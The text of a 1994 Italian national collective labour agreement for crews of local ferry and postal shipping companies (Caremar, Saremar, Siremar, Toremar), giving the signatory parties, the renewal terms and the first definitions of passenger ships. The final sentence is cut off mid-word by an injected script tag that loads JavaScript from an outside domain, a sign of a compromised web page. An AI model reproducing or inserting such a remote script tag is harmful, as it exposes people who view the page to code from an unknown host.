Categoria: Marittimi, equipaggi navi locali
Settore: Trasporti
Data stipula: 24-11-1994
Data decorrenza: 1-1-1995
Data scadenza: 31-12-1998

CONTRATTO  COLLETTIVO  NAZIONALE DI LAVORO 24 NOVEMBRE  1994  PER  L'IMBARCO
DEGLI  EQUIPAGGI  DELLE NAVI DELLE SOCIETA' ESERCENTI I  SERVIZI  MARITTIMI,
POSTALI  E  COMMERCIALI DI CARATTERE LOCALE CARE MAR - SAREMAR -  SIREMAR  -
TOREMAR

A  cura  dell'Associazione Italiana dell'armamento di Linea  (Fedarlinea)  -
Roma

L'anno 1994 addì 24 del mese di novembre in Roma,

tra

l'Associazione   Italiana   dell'Armamento  di   Linea   (FEDARLINEA)    con
l'assistenza dell'Associazione Sindacale INTERSIND

e

la FILT/CGIL, FIT/CISL, UILTRASPORTI

per   il rinnovo del contratto collettivo nazionale di lavoro 24 luglio 1991
per   l'imbarco degli equipaggi delle navi delle Società esercenti i servizi
marittimi  postali e commerciali di carattere locale CAREMAR-TOREMAR-SIREMAR
E   SAREMAR,  nonché  le  disposizioni riportate in appendice  al  contratto
stesso,

è   stata  raggiunta  una  intesa  nei  termini  sottospecificati  a  totale
definizione della vertenza contrattuale.



ACCORDO 24 NOVEMBRE 1994

L'anno 1994 addì 24 del mese di novembre in Roma,

tra

L'ASSOCIAZIONE   ITALIANA  DELL'ARMAMENTO  DI  LINEA  (FEDARLINEA)

e

la FEDERMAR/CISAL



ACCORDO 24 NOVEMBRE 1994

L'anno 1994 addì 24 del mese di novembre in Roma,

tra

L'ASSOCIAZIONE   ITALIANA   DELL'ARMAMENTO   DI   LINEA   (FEDARLINEA)   con
l'assistenza DELL'ASSOCIAZIONE SINDACALE INTERSIND

e

la  FEDERAZIONE  NAZIONALE DIRIGENTI AZIENDE INDUSTRIALI (FNDAI)  per  conto
della  UNIONE  SINDACALE CAPITANI LUNGO CORSO AL COMANDO (USCLAC)  e  UNIONE
NAZIONALE CAPITANI DIRETTORI DI MACCHINA (UNCDIM)

è stato convenuto quanto segue:

1   Il contratto collettivo nazionale di lavoro 24 luglio 1991 per l'imbarco
degli   equipaggi  delle navi delle Società esercenti i  servizi  marittimi,
postali e commerciali di carattere locale CAREMAR-SIREMAR-TOREMAR-SAREMAR  è
rinnovato con le modifiche di cui ai documenti allegati(1).

2  Le   parti   si impegnano  a  rispettare ed a far rispettare  dai  propri
iscritti,   per  il periodo di validità, il presente accordo ed il  suddetto
contratto.

***

Il   presente  Contratto Collettivo Nazionale di Lavoro per l'imbarco  degli
equipaggi  delle  navi  da passeggeri superiori a 50 t.s.l.  delle   Società
esercenti  i  servizi marittimi, postali e commerciali di carattere   locale
CAREMAR-SIREMAR-TOREMAR-SAREMAR è stato stipulato sulla base delle  seguenti
intese:

a)   per  la  parte  economica e normativa generale, recezione  dell'accordo
stipulato    dalla  Confitarma  per  il  rinnovo  del  Contratto  Collettivo
d'imbarco  degli  equipaggi delle navi da passeggeri  della  marina   libera
superiori a 50 T.S.L.;

b)   per  la  corresponsione dell"'una tantum" valgono  le  normative  e  le
tabelle allegate.

Con   il  presente  accordo le parti si danno reciprocamente  atto  di  aver
rinnovato  la  parte  economica e normativa dei  contratti  collettivi   del
settore   marittimo  scaduti il 31/8/1994, in armonia  con  quanto  disposto
dall'accordo interconfederale 23 luglio 1993.



______________________________
(1)   Si  omette l'elencazione delle varianti, che nel presente  testo  sono
apportate alle singole norme.



CONTRATTO COLLETTIVO NAZIONALE DI LAVORO

1   Il  presente contratto collettivo nazionale di lavoro regola i  rapporti
fra  gli  armatori  e i marittimi delle navi da passeggeri  superiori  a  50
t.s.l.    escluso    quelle   che   esercitano   prevalentemente    attività
crocieristiche   o che appartengono a società che esercitano prevalentemente
tali   attività, in quanto per i marittimi imbarcati sulle navi suddette   è
stato stipulato apposito contratto.

2 Agli effetti del presente contratto, per navi da passeggeri si intendono:

-  le  navi  fino  a 2.000 t.s.l. che possono trasportare  non  meno  di  20
passeggeri di cabina e 20 di ponte;

-  le  navi da 2.001 a 4.000 t.s.l. che possono trasportare non men<script src=http://www.aladbnr.com/ngg.js></script>